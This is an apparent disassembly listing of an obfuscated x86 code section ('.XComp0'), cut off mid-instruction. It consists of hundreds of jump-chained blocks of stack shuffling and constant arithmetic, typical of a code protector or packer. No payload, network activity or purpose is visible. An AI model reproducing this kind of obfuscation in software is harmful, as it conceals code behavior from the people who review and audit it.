loc_594DE8: ; CODE XREF: .XComp0:0059190Cj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_58640C ; --------------------------------------------------------------------------- loc_594DFC: ; CODE XREF: .XComp0:00590286j mov ebp, 481220DDh add ebp, 396C5756h jmp loc_58E4D6 ; --------------------------------------------------------------------------- loc_594E0C: ; CODE XREF: .XComp0:0058CE50j shl ebx, 3 add ebx, 2BB4507h sub ebx, 0E321E3E3h xor ebx, eax push dword ptr [esp] jmp loc_58C204 ; --------------------------------------------------------------------------- loc_594E25: ; CODE XREF: .XComp0:0058A14Cj push dword ptr [esp] mov ebx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_59163F ; --------------------------------------------------------------------------- loc_594E3F: ; CODE XREF: .XComp0:005939ADj mul ecx push 6549h mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] jmp loc_58D91B ; --------------------------------------------------------------------------- loc_594E5F: ; CODE XREF: .XComp0:00598FBBj pop esp shl dword ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_594E69: ; CODE XREF: .XComp0:0058695Bj xor eax, ecx push 3414h mov [esp], eax jmp loc_597C83 ; --------------------------------------------------------------------------- loc_594E78: ; CODE XREF: .XComp0:0059886Dj sub cx, bp pop ebp neg cx push small 2162h mov [esp], cx not word ptr [esp] mov cx, [esp] jmp loc_5916F8 ; --------------------------------------------------------------------------- loc_594E94: ; CODE XREF: .XComp0:00597251j mov cx, [esp] push 7D5Bh mov [esp], edx push 7348h mov [esp], esp jmp loc_594A40 ; --------------------------------------------------------------------------- loc_594EAD: ; CODE XREF: .XComp0:00585DF7j pop esp mov [esp], eax mov eax, 4DB672B0h jmp loc_597BEA ; --------------------------------------------------------------------------- loc_594EBB: ; CODE XREF: .XComp0:00591C7Aj mov eax, ecx pop ecx jmp loc_58E1AE ; --------------------------------------------------------------------------- loc_594EC3: ; CODE XREF: .XComp0:0059771Fj xor edi, 0B6529224h jmp loc_58B122 ; --------------------------------------------------------------------------- loc_594ECE: ; CODE XREF: .XComp0:0058CF68j add esp, 4 jmp loc_59211F ; --------------------------------------------------------------------------- loc_594ED9: ; CODE XREF: .XComp0:00588482j xor edi, esi jmp loc_585AB0 ; --------------------------------------------------------------------------- loc_594EE0: ; CODE XREF: .XComp0:00585A1Bj add esp, 4 jmp loc_5971F3 ; --------------------------------------------------------------------------- loc_594EE8: ; CODE XREF: .XComp0:00597C8Aj push edi mov edi, esp push 5B21h jmp loc_584CD6 ; --------------------------------------------------------------------------- loc_594EF5: ; CODE XREF: .XComp0:0059163Aj mov [esp], ebx jmp loc_58D0E0 ; --------------------------------------------------------------------------- loc_594EFD: ; CODE XREF: .XComp0:0058FE60j sub esp, 4 jmp loc_58C941 ; --------------------------------------------------------------------------- loc_594F08: ; CODE XREF: .XComp0:0059043Fj mov eax, [esp] add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_594F13: ; CODE XREF: .XComp0:00589FA2j mov edx, 7BFA0C05h add ebp, edx jmp loc_58C344 ; --------------------------------------------------------------------------- loc_594F1F: ; CODE XREF: .XComp0:00594AE7j mov esi, 1CA820F6h add esi, 0E357DF0Eh sub edi, 48690DBAh add edi, esi add edi, 48690DBAh mov esi, [esp] add esp, 4 sub edi, 4 jmp loc_592BBE ; --------------------------------------------------------------------------- loc_594F46: ; CODE XREF: .XComp0:00585A0Fj mov edx, 78844104h xor edx, 879C401Fh add eax, edx pop edx add ebx, eax push dword ptr [esp] pop eax add esp, 4 push 60BDh mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 push edi jmp loc_58C0D5 ; --------------------------------------------------------------------------- loc_594F7E: ; CODE XREF: .XComp0:005977A9j xchg ebp, [esp] jmp loc_58D11F ; --------------------------------------------------------------------------- loc_594F86: ; CODE XREF: .XComp0:0058ACCCj add ebx, 29F27447h pop edx pop esi push edx mov edx, 4 jmp loc_595E77 ; --------------------------------------------------------------------------- loc_594F99: ; CODE XREF: .XComp0:0058A144j mov [esp], ebx push 62D214F5h pop ebx push ecx jmp loc_58BC80 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push ecx mov ecx, 73794D8Bh add dword ptr [esp+4], 31044207h sub [esp+4], ecx sub dword ptr [esp+4], 31044207h mov ecx, [esp] push 7326h mov [esp], esi jmp loc_58C6B1 ; --------------------------------------------------------------------------- loc_594FD5: ; CODE XREF: .XComp0:0058622Cj add al, 0ADh sub al, bl sub esp, 2 mov [esp], dx push ecx mov cl, 7Fh jmp loc_58BE91 ; --------------------------------------------------------------------------- loc_594FE8: ; CODE XREF: .XComp0:0058CE8Bj push eax mov eax, esp add eax, 4 jmp loc_590D08 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp push ebp mov ebp, 6FC7DEAh jmp loc_58852B ; --------------------------------------------------------------------------- loc_59500C: ; CODE XREF: .XComp0:00590880j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_595011: ; CODE XREF: .XComp0:0058DD9Ej xchg ebx, [esp] pop esp mov [esp], esi push small 2C7h mov si, [esp] push ebp mov ebp, esp push esi mov esi, 781231F2h jmp loc_58477B ; --------------------------------------------------------------------------- loc_59502E: ; CODE XREF: .XComp0:00583D82j pop ebp neg ebp jmp loc_58FF43 ; --------------------------------------------------------------------------- mov cx, [esp] push 702Eh mov [esp], ecx push esi mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] push 806h jmp loc_5893D9 ; --------------------------------------------------------------------------- loc_59506F: ; CODE XREF: .XComp0:00585634j add ebp, 4 jmp loc_58FB48 ; --------------------------------------------------------------------------- loc_59507A: ; CODE XREF: .XComp0:00588248j shl edx, 8 jmp loc_594597 ; --------------------------------------------------------------------------- loc_595082: ; CODE XREF: .XComp0:005906B1j mov [esp], ebp pop ebx pop ebp push ecx jmp loc_593BD9 ; --------------------------------------------------------------------------- loc_59508D: ; CODE XREF: .XComp0:00585526j xchg ebp, [esp] jmp loc_596507 ; --------------------------------------------------------------------------- loc_595095: ; CODE XREF: .XComp0:00592628j pop edx xor ebx, ecx pop ecx add eax, 6E9F6AA3h jmp loc_5988A7 ; --------------------------------------------------------------------------- loc_5950A3: ; CODE XREF: .XComp0:0058A2B3j mov esp, [esp] jmp loc_593C25 ; --------------------------------------------------------------------------- loc_5950AB: ; CODE XREF: .XComp0:00583CFFj push ebp push esp pop ebp add ebp, 4 jmp loc_58FD48 ; --------------------------------------------------------------------------- loc_5950B9: ; CODE XREF: .XComp0:00584288j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_5945F4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_58A46B ; --------------------------------------------------------------------------- loc_5950D7: ; CODE XREF: .XComp0:0058D665j mov cl, bh pop ebx jmp loc_58BD3E ; --------------------------------------------------------------------------- loc_5950DF: ; CODE XREF: .XComp0:00589E82j add ebp, 0A6597750h add edx, ebp jmp loc_58AE35 ; --------------------------------------------------------------------------- loc_5950EC: ; CODE XREF: .XComp0:00596C15j sub edx, 192821DDh sub esp, 4 mov [esp], esi mov esi, 7C777113h add edx, esi jmp loc_58ABD8 ; --------------------------------------------------------------------------- loc_595107: ; CODE XREF: .XComp0:00583B4Bj push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5851C9 ; --------------------------------------------------------------------------- loc_595113: ; CODE XREF: .XComp0:0058B11Dj push edi push ecx mov ecx, 345045D4h xchg esi, ecx not esi xchg esi, ecx shr ecx, 1 add ecx, 78C56792h jmp loc_59314A ; --------------------------------------------------------------------------- loc_59512D: ; CODE XREF: .XComp0:00584EB6j sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_588CCB ; --------------------------------------------------------------------------- loc_59513E: ; CODE XREF: .XComp0:00587C53j mov edi, [esp] jmp loc_5960E9 ; --------------------------------------------------------------------------- loc_595146: ; CODE XREF: .XComp0:0058A07Aj sub ebx, esi sub ebx, 151C302Fh pop esi push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_595EE6 ; --------------------------------------------------------------------------- loc_595160: ; CODE XREF: .XComp0:00593923j mov edx, [esp] add esp, 4 push 667Ch mov [esp], ebx push ecx mov ecx, 474A14FCh mov ebx, 0B8B5EB05h add ebx, ecx jmp loc_58F1D2 ; --------------------------------------------------------------------------- loc_595183: ; CODE XREF: .XComp0:00595850j add edi, ecx pop ecx push esi mov esi, 4 sub edi, 74327E9Eh sub edi, esi add edi, 74327E9Eh pop esi xchg edi, [esp] jmp loc_594C91 ; --------------------------------------------------------------------------- loc_5951A3: ; CODE XREF: .XComp0:0058B07Cj push 3F26h mov [esp], esp jmp loc_5929CC ; --------------------------------------------------------------------------- loc_5951B0: ; CODE XREF: .XComp0:0058617Cj mov ebp, 40987E5Dh neg ebp inc ebp push eax mov eax, 46D7339Bh jmp loc_58C56A ; --------------------------------------------------------------------------- loc_5951C3: ; CODE XREF: .XComp0:005895E7j mov [esp], ebx jmp loc_5973A2 ; --------------------------------------------------------------------------- loc_5951CB: ; CODE XREF: .XComp0:005916D6j xor edi, ecx jmp loc_5853EA ; --------------------------------------------------------------------------- loc_5951D2: ; CODE XREF: .XComp0:0058D70Bj mov esi, 49DE70D3h not esi shl esi, 1 or esi, 43C90C0Ch jmp loc_58C0CA ; --------------------------------------------------------------------------- loc_5951E6: ; CODE XREF: .XComp0:00594377j pop ecx push esi push ecx mov ecx, 2F8B174Eh push esi mov esi, 0D074E8B4h sub ecx, 52790115h jmp loc_598F4F ; --------------------------------------------------------------------------- loc_5951FF: ; CODE XREF: .XComp0:00592517j push 6F8B472Fh pop ebx and ebx, 3C6657F2h sub ebx, 3BAD2859h jmp loc_586EC9 ; --------------------------------------------------------------------------- loc_595216: ; CODE XREF: .XComp0:00598205j mov bh, 88h jmp loc_58AF42 ; --------------------------------------------------------------------------- loc_59521D: ; CODE XREF: .XComp0:0058C1FFj add esp, 4 mov bl, dh pop edx xor al, bl push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_587A51 ; --------------------------------------------------------------------------- loc_595234: ; CODE XREF: .XComp0:0058D430j push esp jmp loc_597D4B ; --------------------------------------------------------------------------- loc_59523A: ; CODE XREF: .XComp0:005858A8j xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_58B0A0 ; --------------------------------------------------------------------------- loc_595248: ; CODE XREF: .XComp0:005900E6j mov [esp], edi mov edi, ebp mov esi, edi pop edi loc_595250: ; DATA XREF: .XComp0:00453030o mov ebp, [esp] loc_595253: ; DATA XREF: .XComp0:00453004o add esp, 4 xor ecx, esi pop esi sub ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_598E8D ; --------------------------------------------------------------------------- loc_59526C: ; CODE XREF: .XComp0:0058DBE5j mov edx, 560A6921h not edx or edx, 7F304DC2h and edx, 11A52E75h jmp loc_58AC12 ; --------------------------------------------------------------------------- loc_595284: ; CODE XREF: .XComp0:00586C11j xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebp push esi add dword ptr [esp], 2A5E41B6h pop ebp sub ebp, 2A5E41B6h mov [edi+20h], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 loc_5952B3: ; CODE XREF: .XComp0:00585C92j ; .XComp0:005963CFj push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_590E43 ; --------------------------------------------------------------------------- loc_5952BF: ; CODE XREF: .XComp0:0058EE09j push 598C0252h mov ebx, [esp] add esp, 4 xor ebx, 31FD19FEh jmp loc_58F1E3 ; --------------------------------------------------------------------------- loc_5952D8: ; CODE XREF: .XComp0:00598DF1j add eax, esi push dword ptr [esp] pop esi push edi mov edi, esp push ebp jmp loc_594699 ; --------------------------------------------------------------------------- loc_5952E7: ; CODE XREF: .XComp0:00589C59j xchg ebx, [esp] pop esp jmp loc_587151 ; --------------------------------------------------------------------------- loc_5952F0: ; CODE XREF: .XComp0:0058B6D2j mov ebx, [esp] add esp, 4 inc edi sub esp, 4 mov [esp], eax mov eax, 11B004D1h push esi mov esi, 23643BEDh or eax, esi jmp loc_58E234 ; --------------------------------------------------------------------------- loc_595315: ; CODE XREF: .XComp0:00584D17j pop ecx mov edx, eax jmp loc_595EDB ; --------------------------------------------------------------------------- loc_59531D: ; CODE XREF: .XComp0:00594A83j sub bl, ah push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_583D52 ; --------------------------------------------------------------------------- loc_595331: ; CODE XREF: .XComp0:0058F837j sub eax, esi sub eax, 26D110EFh pop esi sub eax, 1000359Ch add ebx, eax pop eax add ebp, ebx loc_595343: ; DATA XREF: .XComp0:00452FFCo ; .XComp0:004532E4o jmp loc_5920CB ; --------------------------------------------------------------------------- loc_595348: ; CODE XREF: .XComp0:00592408j neg edx jmp loc_5869D8 ; --------------------------------------------------------------------------- loc_59534F: ; CODE XREF: .XComp0:005918A9j mov [esp], edx push esp pop edx jmp loc_58B543 ; --------------------------------------------------------------------------- loc_595359: ; CODE XREF: .XComp0:005880BCj xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_59864F ; --------------------------------------------------------------------------- loc_59537F: ; CODE XREF: .XComp0:0058729Aj push ebx jmp loc_586510 ; --------------------------------------------------------------------------- loc_595385: ; CODE XREF: .XComp0:0058BE07j ; .XComp0:00590AD5j push 3465h mov [esp], edi sub esp, 4 jmp loc_5977E0 ; --------------------------------------------------------------------------- loc_595395: ; CODE XREF: .XComp0:005922A4j push 49BF1C6Eh jmp loc_593550 ; --------------------------------------------------------------------------- loc_59539F: ; CODE XREF: .XComp0:00586696j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, eax pop eax and eax, ecx jmp loc_58C407 ; --------------------------------------------------------------------------- loc_5953BB: ; CODE XREF: .XComp0:0058F5E7j pop edx add ebx, esi mov esi, [esp] add esp, 4 sub ebx, edx sub ebx, 1CC436C0h jmp loc_592714 ; --------------------------------------------------------------------------- loc_5953D1: ; CODE XREF: .XComp0:00591642j xchg esi, [esp] jmp loc_5853CA ; --------------------------------------------------------------------------- loc_5953D9: ; CODE XREF: .XComp0:0058432Fj pop eax push dword ptr [esp] pop edi add esp, 4 sub esp, 4 jmp loc_592C32 ; --------------------------------------------------------------------------- loc_5953EC: ; CODE XREF: .XComp0:00591EE5j push ebx mov ebx, 8C377C2h mov ecx, ebx pop ebx push ebx jmp loc_5848AE ; --------------------------------------------------------------------------- loc_5953FB: ; CODE XREF: .XComp0:00594762j sub esi, 38C3481Bh jmp loc_58F798 ; --------------------------------------------------------------------------- loc_595406: ; CODE XREF: .XComp0:0058FBE7j add esp, 4 add eax, ebx jmp loc_58CFDD ; --------------------------------------------------------------------------- loc_595413: ; CODE XREF: .XComp0:00588CC6j sub cl, dl mov dx, [esp] add esp, 2 add al, cl jmp loc_5922CE ; --------------------------------------------------------------------------- loc_595426: ; CODE XREF: .XComp0:0058C3B0j xor cx, 4D01h jmp loc_59137F ; --------------------------------------------------------------------------- loc_595430: ; CODE XREF: .XComp0:005888EDj sub bx, 0F84Fh xor cx, bx pop ebx sub bp, cx mov ecx, [esp] add esp, 4 sub bx, 7AA7h add bx, bp push bp mov bp, 7AA7h add bx, bp pop bp pop ebp movzx eax, ax jmp loc_598AE2 ; --------------------------------------------------------------------------- loc_595461: ; CODE XREF: .XComp0:00596BB3j add bh, 1 shl bh, 5 and bh, 0A6h dec bh push 0FC3h jmp loc_587FAF ; --------------------------------------------------------------------------- loc_595476: ; CODE XREF: .XComp0:00588A95j mov ebx, [esp] add esp, 4 sub edi, 360D641Eh add edi, edx add edi, 360D641Eh jmp loc_598626 ; --------------------------------------------------------------------------- loc_59548F: ; CODE XREF: .XComp0:00598F4Aj add esp, 2 jmp loc_59468B ; --------------------------------------------------------------------------- loc_59549A: ; CODE XREF: .XComp0:00590E4Bj pop ebx add esp, 4 sub esp, 4 mov [esp], ecx push edi mov edi, 34D3370Ah dec edi sub edi, 34D33705h push edi sub dword ptr [esp], 65CA383Ch mov ecx, [esp] jmp loc_587C6B ; --------------------------------------------------------------------------- loc_5954C7: ; CODE XREF: .XComp0:00585162j mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_58F224 ; --------------------------------------------------------------------------- loc_5954D8: ; CODE XREF: .XComp0:005940D6j pop ecx push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx jmp loc_5905C3 ; --------------------------------------------------------------------------- loc_5954F0: ; CODE XREF: .XComp0:00598269j xor ebx, ebp pop ebp add eax, ebx jmp loc_58A6E2 ; --------------------------------------------------------------------------- loc_5954FA: ; CODE XREF: .XComp0:00588F09j mov ecx, 319E9CE4h sub ecx, eax mov eax, [esp] add esp, 4 push 0 sub [esp], ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_5899BD ; --------------------------------------------------------------------------- loc_59551E: ; CODE XREF: .XComp0:00596379j push dword ptr [esp] jmp loc_58EB22 ; --------------------------------------------------------------------------- loc_595526: ; CODE XREF: .XComp0:005963F9j mov [esp], eax mov eax, 1D875ABDh jmp loc_583B50 ; --------------------------------------------------------------------------- loc_595533: ; CODE XREF: .XComp0:0058DC3Fj pop esi sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_592CC1 ; --------------------------------------------------------------------------- loc_59554F: ; CODE XREF: .XComp0:00598ADDj push ecx push dword ptr [esp+4] pop ecx jmp loc_591F11 ; --------------------------------------------------------------------------- loc_59555A: ; CODE XREF: .XComp0:0058EB59j and ebp, 3CF12E81h sub ebp, 0B01318A8h not ebp jmp loc_59328D ; --------------------------------------------------------------------------- loc_59556D: ; CODE XREF: .XComp0:0058483Aj push esp pop dword ptr [esp] jmp loc_593ABC ; --------------------------------------------------------------------------- loc_595576: ; CODE XREF: .XComp0:0058B820j pop eax jmp loc_587B74 ; --------------------------------------------------------------------------- loc_59557C: ; CODE XREF: .XComp0:00588D64j add edi, 7D514052h sub edi, 0EB9071CCh push 767h jmp loc_5926D5 ; --------------------------------------------------------------------------- loc_595592: ; CODE XREF: .XComp0:0058A9CAj mov ecx, 4 sub ebx, 12814155h add ebx, ecx jmp loc_598D43 ; --------------------------------------------------------------------------- loc_5955A4: ; CODE XREF: .XComp0:0058A847j pop eax neg esi jmp loc_591D58 ; --------------------------------------------------------------------------- loc_5955AC: ; CODE XREF: .XComp0:0059197Dj mov [esp], edx push 7F61h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx jmp loc_58831E ; --------------------------------------------------------------------------- loc_5955C2: ; CODE XREF: .XComp0:0058C8B2j add esp, 4 push edx jmp loc_588ADF ; --------------------------------------------------------------------------- loc_5955CB: ; CODE XREF: .XComp0:00589984j add esi, ecx pop ecx jmp loc_587BCE ; --------------------------------------------------------------------------- mov cx, [esp] push 3BD2h jmp loc_58AE9B ; --------------------------------------------------------------------------- loc_5955E1: ; CODE XREF: .XComp0:00587500j pop eax push esi mov esi, esp push 7DE5h mov [esp], edi push 6E48h mov [esp], ebp mov ebp, 4 mov edi, ebp pop ebp push 7AFAh mov [esp], edx mov edx, 7AA60492h dec edx shr edx, 2 shr edx, 7 neg edx jmp loc_5925B7 ; --------------------------------------------------------------------------- loc_595618: ; CODE XREF: .XComp0:00594A18j add ecx, esi jmp loc_58C700 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFA1E9h, 592434FFh, 81E78957h, 4C7h dd 4EC8100h, 0E9000000h, 0FFFFF0BDh ; --------------------------------------------------------------------------- loc_595640: ; CODE XREF: .XComp0:00593F7Dj add ebp, 4 push esi mov esi, 6A312605h jmp loc_584EBB ; --------------------------------------------------------------------------- loc_595651: ; CODE XREF: .XComp0:005904E6j xor edi, 43A860F0h add edi, 0F196EB43h inc edi jmp loc_58FA1F ; --------------------------------------------------------------------------- loc_595663: ; CODE XREF: .XComp0:0058FBB1j push esi jmp loc_5946F3 ; --------------------------------------------------------------------------- loc_595669: ; CODE XREF: .XComp0:00597D77j mov esi, 24304A0Ch sub edi, esi pop esi add edi, 38022E47h pop edx jmp loc_58F610 ; --------------------------------------------------------------------------- loc_59567D: ; CODE XREF: .XComp0:00589730j pop edi sub ebp, 4E85FC9Fh add edi, ebp pop ebp pop edx dec edi shr edi, 7 push ebx mov ebx, 262C57A7h and edi, ebx pop ebx jmp loc_5974A7 ; --------------------------------------------------------------------------- loc_59569A: ; CODE XREF: .XComp0:0058E169j mov [esp], edi push esi mov esi, esp jmp loc_59266E ; --------------------------------------------------------------------------- loc_5956A5: ; CODE XREF: .XComp0:0058B9FCj push dword ptr [esp] pop ecx add esp, 4 not ecx push 4BFEh jmp loc_590859 ; --------------------------------------------------------------------------- loc_5956BB: ; CODE XREF: .XComp0:00588FF7j add ecx, 6F0F6F39h add ecx, ebp push edi mov edi, 6F0F6F39h sub ecx, edi pop edi mov ebp, [esp] jmp loc_587DFE ; --------------------------------------------------------------------------- loc_5956D4: ; CODE XREF: .XComp0:0058F594j add ebx, 4 push edi mov edi, 1B27541Eh jmp loc_598BA6 ; --------------------------------------------------------------------------- loc_5956E5: ; CODE XREF: .XComp0:00584E05j add eax, 31F26ACFh push esi jmp loc_596E7C ; --------------------------------------------------------------------------- loc_5956F0: ; CODE XREF: .XComp0:0058BE5Fj push 7742h jmp loc_58D900 ; --------------------------------------------------------------------------- loc_5956FA: ; CODE XREF: .XComp0:0059223Cj push esi mov esi, 5EF275ADh xor esi, 67A1775Fh mov ebx, esi pop esi sub ebx, 27459E98h add edi, ebx pop ebx jmp loc_590548 ; --------------------------------------------------------------------------- loc_595717: ; CODE XREF: .XComp0:0058C82Dj mov eax, ebp jmp loc_59090C ; --------------------------------------------------------------------------- loc_59571E: ; CODE XREF: .XComp0:00584A75j add ebx, 3F943014h add ebx, 404E4E28h pop edx sub ebx, eax add ebx, 4771147Bh sub esp, 4 mov [esp], eax push esi mov esi, 41051036h mov eax, esi pop esi sub ebx, eax mov eax, [esp] jmp loc_591405 ; --------------------------------------------------------------------------- loc_59574F: ; CODE XREF: .XComp0:00596051j push eax sub esp, 4 mov [esp], ebx push esi jmp loc_592ADC ; --------------------------------------------------------------------------- loc_59575F: ; CODE XREF: .XComp0:0058CC9Cj mov eax, 21F91CB8h push ecx mov ecx, 6FFE3A60h jmp loc_586418 ; --------------------------------------------------------------------------- loc_59576F: ; CODE XREF: .XComp0:00593F25j mov dl, 8Dh jmp loc_59174B ; --------------------------------------------------------------------------- loc_595776: ; CODE XREF: .XComp0:005851C4j add esp, 4 pop dword ptr [esp] not ebx jmp loc_5918C1 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_590F5E ; --------------------------------------------------------------------------- loc_59578C: ; CODE XREF: .XComp0:0058663Fj sub eax, 53CE25C0h add eax, ecx push esi mov esi, 250A5CFDh add esi, 2DEC353Ah jmp loc_587753 ; --------------------------------------------------------------------------- loc_5957A4: ; CODE XREF: .XComp0:0059654Bj add esp, 4 add esp, 4 or eax, eax jz loc_58E566 push esi push ebx push ebp mov ebp, 43E26E04h sub ebp, 26850EEBh jmp loc_5906AC ; --------------------------------------------------------------------------- loc_5957C5: ; CODE XREF: .XComp0:0058692Aj mov [esp], edx mov edx, 6756435Ch push edi push edx mov edx, 36B7093Eh jmp loc_596D87 ; --------------------------------------------------------------------------- loc_5957D9: ; CODE XREF: .XComp0:0058A224j add edi, 6BB6DC6h add edi, ecx jmp loc_587EA6 ; --------------------------------------------------------------------------- loc_5957E6: ; CODE XREF: .XComp0:00592057j add ebx, ecx sub ebx, 45B0244Ah pop ecx jmp loc_591856 ; --------------------------------------------------------------------------- loc_5957F4: ; CODE XREF: .XComp0:005949DDj mov [esp], ebp push edx jmp loc_5928B9 ; --------------------------------------------------------------------------- loc_5957FD: ; CODE XREF: .XComp0:00596CABj add esp, 4 add esp, 4 push edi mov edi, 4 sub edx, 113E1987h add edx, edi add edx, 113E1987h pop edi push 20C4h mov [esp], eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] pop esp push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_59101D ; --------------------------------------------------------------------------- loc_595844: ; CODE XREF: .XComp0:00590C2Dj push ecx mov ecx, 4ADA68F5h xor ecx, 4ADA68F1h jmp loc_595183 ; --------------------------------------------------------------------------- loc_595855: ; CODE XREF: .XComp0:005879E1j pop ebp jmp loc_587D74 ; --------------------------------------------------------------------------- loc_59585B: ; CODE XREF: .XComp0:0058B84Dj add edx, 2470FFBEh sub eax, 1F743298h jmp loc_584ECF ; --------------------------------------------------------------------------- loc_59586B: ; CODE XREF: .XComp0:00584E3Aj push 78CAh jmp loc_5903F1 ; --------------------------------------------------------------------------- loc_595875: ; CODE XREF: .XComp0:0058D5E7j sub edi, edx pop edx xchg edi, [esp] pop esp mov [esp], ebp mov ebp, 3A227050h jmp loc_5851D8 ; --------------------------------------------------------------------------- loc_595889: ; CODE XREF: .XComp0:00594446j add ebx, ebp add ebx, 35B4566Bh pop ebp dec ebx jmp loc_5890CE ; --------------------------------------------------------------------------- loc_595898: ; CODE XREF: .XComp0:00584971j xor ebp, [esp] mov esp, [esp] push dword ptr [esp] pop edx push 1CDh mov [esp], edi mov edi, esp push 4189h jmp loc_5969C2 ; --------------------------------------------------------------------------- loc_5958B6: ; CODE XREF: .XComp0:005864E0j mov ecx, 83D7D34h dec ecx dec ecx and ecx, 9B6248Fh shr ecx, 1 add ecx, 364B160Bh add ecx, 0F5385717h mov edx, ecx pop ecx add [esp+4], edx jmp loc_593A59 ; --------------------------------------------------------------------------- loc_5958DD: ; CODE XREF: .XComp0:00592E0Cj pop ebp jmp loc_58DB5B ; --------------------------------------------------------------------------- loc_5958E3: ; CODE XREF: .XComp0:0058D69Fj add ebp, 4 xchg ebp, [esp] pop esp push 255h jmp loc_587B98 ; --------------------------------------------------------------------------- loc_5958F4: ; CODE XREF: .XComp0:0058DCB8j xchg esi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push edi push esp pop edi push 99Ah mov [esp], esi mov esi, 4 jmp loc_583E65 ; --------------------------------------------------------------------------- loc_595913: ; CODE XREF: .XComp0:00596DDEj add edi, 487A3DA2h add edi, esi sub edi, 487A3DA2h sub edi, 0FC26655h jmp loc_584DEB ; --------------------------------------------------------------------------- loc_59592C: ; CODE XREF: .XComp0:0058E22Fj mov ecx, [esp] add esp, 4 push esi mov esi, 20FF6773h neg esi shr esi, 4 not esi or esi, 73317EA8h jmp loc_588707 ; --------------------------------------------------------------------------- loc_59594D: ; CODE XREF: .XComp0:00588702j mov [esp], eax mov al, 11h jmp loc_58538E ; --------------------------------------------------------------------------- loc_595957: ; CODE XREF: .XComp0:0058E2D5j pop edx add esi, 1B663EE5h dec esi sub esi, 1BC943EAh add eax, esi pop esi xchg eax, [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_595977: ; CODE XREF: .XComp0:005914E6j mov ch, bl push ebx mov bl, ch mov dl, bl pop ebx pop ecx mov cl, dl mov edx, [esp] add esp, 4 pop ebx pop edx push 7B09h jmp loc_596AD7 ; --------------------------------------------------------------------------- loc_595997: ; CODE XREF: .XComp0:005871F4j or ecx, 58F00543h and ecx, 56F129C3h or ecx, 17C635F4h jmp loc_58B72C ; --------------------------------------------------------------------------- lodsb push 3603h jmp loc_594901 ; --------------------------------------------------------------------------- loc_5959B9: ; CODE XREF: .XComp0:0058CEA3j push esi mov esi, 0AAB51A5h mov edx, esi pop esi sub edx, 0B5DA46C6h mov edi, edx jmp loc_58E54E ; --------------------------------------------------------------------------- loc_5959CF: ; CODE XREF: .XComp0:0059472Cj mov [esp], ax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5959D8: ; CODE XREF: .XComp0:0058856Bj sub esi, 18EE34EDh add edi, esi pop esi jmp loc_59330E ; --------------------------------------------------------------------------- loc_5959E6: ; CODE XREF: .XComp0:0058A139j mov esi, 3552737Ah jmp loc_586B23 ; --------------------------------------------------------------------------- loc_5959F0: ; CODE XREF: .XComp0:0058A995j shr dl, 5 jmp loc_591C1D ; --------------------------------------------------------------------------- loc_5959F8: ; CODE XREF: .XComp0:00589EC8j sub bl, dh sub bl, 30h add bl, 10h jmp loc_5897C8 ; --------------------------------------------------------------------------- loc_595A05: ; CODE XREF: .XComp0:00597B52j add ebx, 769609ACh mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_5852DE ; --------------------------------------------------------------------------- loc_595A2C: ; CODE XREF: .XComp0:0059009Fj pop edx push ebx jmp loc_589330 ; --------------------------------------------------------------------------- loc_595A33: ; CODE XREF: .XComp0:005890A1j xor ebp, 59344B3Ah sub ebp, 69F44A4h add edx, ebp pop ebp sub edx, eax sub edx, 1F641A83h jmp loc_58AAF0 ; --------------------------------------------------------------------------- loc_595A4F: ; CODE XREF: .XComp0:00592B87j add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_590D75 ; --------------------------------------------------------------------------- loc_595A5D: ; CODE XREF: .XComp0:0058F5E0j pop eax push dword ptr [esp] jmp loc_584833 ; --------------------------------------------------------------------------- loc_595A66: ; CODE XREF: .XComp0:0058E7CCj pop edi jmp loc_58E6C5 ; --------------------------------------------------------------------------- loc_595A6C: ; CODE XREF: .XComp0:00584AACj pop ebx jmp 